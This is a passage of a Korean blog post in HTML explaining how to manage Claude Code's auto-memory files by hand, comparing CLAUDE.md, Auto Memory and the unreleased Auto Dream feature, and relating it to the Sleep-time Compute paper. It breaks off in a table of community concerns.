&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 실전 튜토리얼: Auto Dream 없이 메모리 관리하기&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto Dream이 아직 없다면, 직접 해야 한다. 다행히 어렵지 않다. 아래 3단계를 따라하면 메모리를 깔끔하게 유지할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 1: 현재 메모리 상태 확인&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# Claude Code 세션에서
/memory

# 또는 터미널에서 직접 확인
ls -la ~/.claude/projects/*/memory/
cat ~/.claude/projects/*/memory/MEMORY.md | wc -l   # 줄 수 확인&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;/memory&lt;/code&gt;를 실행하면 현재 로딩된 모든 메모리 파일을 볼 수 있다. &quot;Open auto-memory folder&quot;를 선택하면 에디터에서 직접 열린다. 위 명령어의 &lt;code&gt;*&lt;/code&gt; 부분에는 실제 프로젝트 경로가 들어간다. 정확한 경로를 모르면 &lt;code&gt;/memory&lt;/code&gt;를 실행하여 확인하는 것이 가장 쉽다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 2: 수동 메모리 정리&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;메모리가 쌓였다면 직접 정리한다. 두 가지 방법이 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;방법 A: Claude에게 요청하기&lt;/b&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;text&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;# Claude Code 세션에서 자연어로 요청
&quot;메모리 파일들을 확인해서, 오래되거나 모순되는 항목을 정리해줘.
상대 날짜는 절대 날짜로 바꾸고, 중복은 합쳐줘.&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;이것이 커뮤니티에서 &quot;run your autodream&quot;이라고 부르는 것의 정체다. Auto Dream 기능이 아니라, &lt;b&gt;Claude에게 메모리 정리를 수동으로 요청하는 것&lt;/b&gt;이다. Claude는 &lt;code&gt;~/.claude/projects/*/memory/&lt;/code&gt; 디렉토리의 파일들을 읽고 수정할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;방법 B: 직접 편집하기&lt;/b&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 메모리 디렉토리 열기
open ~/.claude/projects/*/memory/    # macOS
# 또는
code ~/.claude/projects/*/memory/    # VS Code

# 오래된 토픽 파일 삭제
rm ~/.claude/projects/my-project/memory/outdated-topic.md

# MEMORY.md 직접 편집 &amp;mdash; 오래된 항목 삭제, 중복 병합
vim ~/.claude/projects/my-project/memory/MEMORY.md&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 3: 주기적 정리 습관&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto Dream이 하려는 것(24시간 간격, 5세션 이상 축적 후 정리)을 수동으로 모방한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;주간 메모리 정리 체크리스트&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;모순 확인&lt;/b&gt;: &quot;Redis 사용&quot; vs &quot;Memcached로 전환&quot; 같은 항목이 공존하면 오래된 쪽 삭제&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;상대 날짜 수정&lt;/b&gt;: &quot;어제&quot;, &quot;지난주&quot; &amp;rarr; 절대 날짜로 변환&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;중복 병합&lt;/b&gt;: 같은 주제의 메모가 여러 개면 하나로 통합&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;해결된 이슈 삭제&lt;/b&gt;: 이미 해결된 버그나 포기한 접근에 대한 메모 제거&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;줄 수 확인&lt;/b&gt;: &lt;code&gt;wc -l MEMORY.md&lt;/code&gt;가 200줄 이내인지 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;팁: 중요한 규칙은 CLAUDE.md에&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto Memory에 쌓이는 건 Claude의 &quot;학습&quot;이다. 팀 규칙, 코딩 표준, 프로젝트 아키텍처 같은 &lt;b&gt;명시적 지침&lt;/b&gt;은 CLAUDE.md(&lt;code&gt;./CLAUDE.md&lt;/code&gt; 또는 &lt;code&gt;./.claude/CLAUDE.md&lt;/code&gt;)에 작성한다. CLAUDE.md는 압축(&lt;code&gt;/compact&lt;/code&gt;) 후에도 디스크에서 재로딩되어 완전 보존된다. (출처: &lt;a href=&quot;https://docs.anthropic.com/en/docs/claude-code/memory#instructions-seem-lost-after-compact&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 실전 시나리오&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 1: 새 팀원이 프로젝트에 합류&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이전 개발자가 Claude Code를 사용하며 쌓인 Auto Memory가 있다면, 새 팀원이 같은 머신에서 작업한다면, Claude를 통해 &quot;이 프로젝트의 빌드 명령어가 뭐야?&quot;라고 물으면 기존 메모리에서 즉시 답을 받을 수 있다. 다만 Auto Memory는 &lt;b&gt;로컬 디스크에 저장&lt;/b&gt;되므로, 다른 머신에서 같은 리포를 클론해도 메모리는 공유되지 않는다. 팀 공유가 필요한 규칙은 CLAUDE.md에 기록하여 리포에 커밋하는 것이 정답이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 2: 긴 디버깅 세션&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;3시간짜리 디버깅 세션 중간에 컨텍스트가 차면 자동 압축이 발동한다. 이때 초반에 시도했던 실패한 접근들은 요약되고, CLAUDE.md의 규칙은 다시 로딩된다. 특정 디버깅 맥락을 보존하고 싶으면 &lt;code&gt;/compact focus on the auth bug investigation&lt;/code&gt;로 수동 압축한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 3: 자동화 스크립트에서 Claude 호출&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;CI/CD나 스크립트에서 &lt;code&gt;claude -p &quot;task&quot;&lt;/code&gt;로 호출할 때는 &lt;code&gt;--bare&lt;/code&gt; 플래그를 쓰면 auto memory가 완전히 비활성화된다. 일회성 작업에서 불필요한 메모리 쓰기를 방지한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. CLAUDE.md vs Auto Memory vs Auto Dream 비교&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;CLAUDE.md&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Auto Memory&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Auto Dream (미출시)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;누가 쓰는가&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;사용자&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Claude&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Claude (백그라운드 정리 작업으로 추정)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;하는 일&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;지침과 규칙 명시&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;학습 내용 저장&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;저장된 메모리 정리/가지치기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;범위&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;프로젝트, 사용자, 조직&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;워킹 트리 단위&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;워킹 트리 단위 (동일)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;실행 시점&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;매 세션 시작 시&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;세션 중 수시로&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;세션 사이 (24시간 간격, 5세션 축적 후)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;세션 로딩&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;전체 로딩 (파일 크기 제한 없으나, 컨텍스트 윈도우 소비)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;MEMORY.md 첫 200줄(또는 25KB)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;해당 없음 (메모리 파일을 정리하는 역할)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;버전관리/공유&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;git 커밋 가능 &amp;rarr; 팀 공유&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;로컬 디스크 전용&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;로컬 디스크 전용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;우선순위&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;가장 높음&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;CLAUDE.md보다 낮음&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Auto Memory를 수정하는 역할&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;압축(&lt;code&gt;/compact&lt;/code&gt;) 후&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;디스크에서 재로딩 (완전 보존)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;MEMORY.md 첫 200줄 재로딩&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;해당 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;현재 상태&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;사용 가능&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;사용 가능&lt;/b&gt; (v2.1.59+)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;미출시&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;비유하면: &lt;b&gt;CLAUDE.md는 &quot;이렇게 해라&quot;&lt;/b&gt;(명시적 지침), &lt;b&gt;Auto Memory는 &quot;지난번에 이렇게 했더니 잘 됐다&quot;&lt;/b&gt;(경험 학습), &lt;b&gt;Auto Dream은 &quot;학습한 것을 정리하는 잠&quot;&lt;/b&gt;(기억 정리)이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 8 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 이론적 배경: Sleep-time Compute&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto Dream의 설계 철학은 우연이 아니다. 2025년 4월에 발표된 연구 논문과 직접적인 대응 관계가 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Sleep-time Compute 논문&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;Sleep-time Compute: Beyond Inference Scaling at Test-time&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(Kevin Lin, Charlie Snell et al., Letta + UC Berkeley, &lt;a href=&quot;https://arxiv.org/abs/2504.13171&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;arXiv:2504.13171&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;핵심 아이디어: LLM이 사용자의 질문을 받기 &lt;b&gt;전에&lt;/b&gt; 미리 생각해두면, 질문이 왔을 때 더 빠르고 정확하게 답할 수 있다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;논문 (Sleep-time Compute)&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Auto Dream (Claude Code)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;사용자 쿼리를 예측하여 미리 계산&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;축적된 메모리를 정리/통합&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;테스트 타임 컴퓨팅 ~5배 절감 (논문 Table 1 기준)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;세션 시작 시 더 효율적인 컨텍스트 로딩&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;오프라인(사용자 유휴 시간)에 처리&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;세션 사이에 비동기 실행 (&lt;code&gt;minHours: 24&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;여러 쿼리에 걸쳐 비용 분산&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;여러 세션에 걸쳐 정리 (&lt;code&gt;minSessions: 5&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;직접적 연관성은 미확인&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto Dream과 Sleep-time Compute 논문의 대응 관계는 DEV Community 기사의 분석이다. Anthropic이 이 논문을 참조했다는 공식 확인은 없다. 다만 &quot;사용자 유휴 시간에 컴퓨팅을 투자하여 다음 세션의 효율을 높인다&quot;는 설계 철학은 동일하다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;인간의 수면과 기억 정리&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Dream&quot;이라는 이름은 인간의 수면 중 기억 강화(memory consolidation during sleep) 과정에서 따온 것이다. 인간은 잠자는 동안 해마에서 대뇌피질로 정보를 옮기며, 중요한 기억은 강화하고 불필요한 기억은 잊는다. Auto Dream은 이 과정을 Auto Memory에 적용한 것이다 &amp;mdash; 세션 사이(&quot;수면 시간&quot;)에 메모리를 정리하여, 다음 세션이 더 깨끗한 기억으로 시작하게 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 9: 커뮤니티 반응 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 커뮤니티 반응: 기대와 우려&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;긍정적 반응&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #d4edda;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #28a745; font-weight: 600;&quot;&gt;반응&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #28a745; font-weight: 600;&quot;&gt;출처&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #28a745; font-weight: 600;&quot;&gt;검증&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&quot;인간의 REM 수면처럼 단기 기억을 장기 기억으로 정리한다. 네이밍이 의도적이다.&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://www.threads.com/@sakeeb.rahman/post/DWSKjMoESz2&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Threads @sakeeb.rahman&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;비유로서 적절. 실제 REM 수면 메커니즘과 1:1 대응은 아니지만, &quot;세션 사이에 정리&quot;라는 설계 의도는 맞다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&quot;Sleep-time Compute 논문이 떠오른다. 아름답다.&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://x.com/maksym_andr/status/2036351101125959799&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;X @maksym_andr&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;논문과의 직접 연관은 미확인. 다만 &quot;유휴 시간에 컴퓨팅 투자&quot; 설계 철학은 유사하다 (섹션 8 참조).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&quot;이미 OpenClaw로 매일 메모리 정리를 자동화하고 있었는데, 공식 기능으로 나와서 좋다.&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://x.com/JeremyNguyenPhD/status/2036279335221645345&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;X @JeremyNguyenPhD&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;파워 유저들이 이미 수동으로 하던 작업을 자동화한다는 점에서 실질적 가치가 있다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&quot;20세션 넘으면 메모리가 엉망이 된다. 이걸 해결해주는 기능이 필요했다.&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://www.threads.com/@sakeeb.rahman/post/DWSKj7xEUuh&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Threads @sakeeb.rahman&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Auto Memory의 &quot;쓰고 잊기&quot; 문제는 실제로 존재한다. 이 글의 섹션 3에서 다룬 구조적 문제이다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;우려 및 비판&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #f8d7da;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #dc3545; font-weight: 600;&quot;&gt;우려&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #dc3545; font-weight: 600;&quot;&gt;출처&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #dc3545; font-weight: 600;&quot;&gt;검증 및 행동 지침&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;정확성 문제&lt;/b&gt;: 잘못된 프로젝트명 생성, 파일 수를 검증 없이 주장, 오래된 항목을 삭제하지 않음&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://github.com/anthropics/claude-code/issues/38493&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub #38493&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;실제 버그 리포트. Auto Dream 결과물은 &lt;b&gt;반드시 수동 검토&lt;/b&gt;가 필요하다. &lt;code&gt;/memory&lt;/code&gt;로 정리 결과를 확인할 것.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
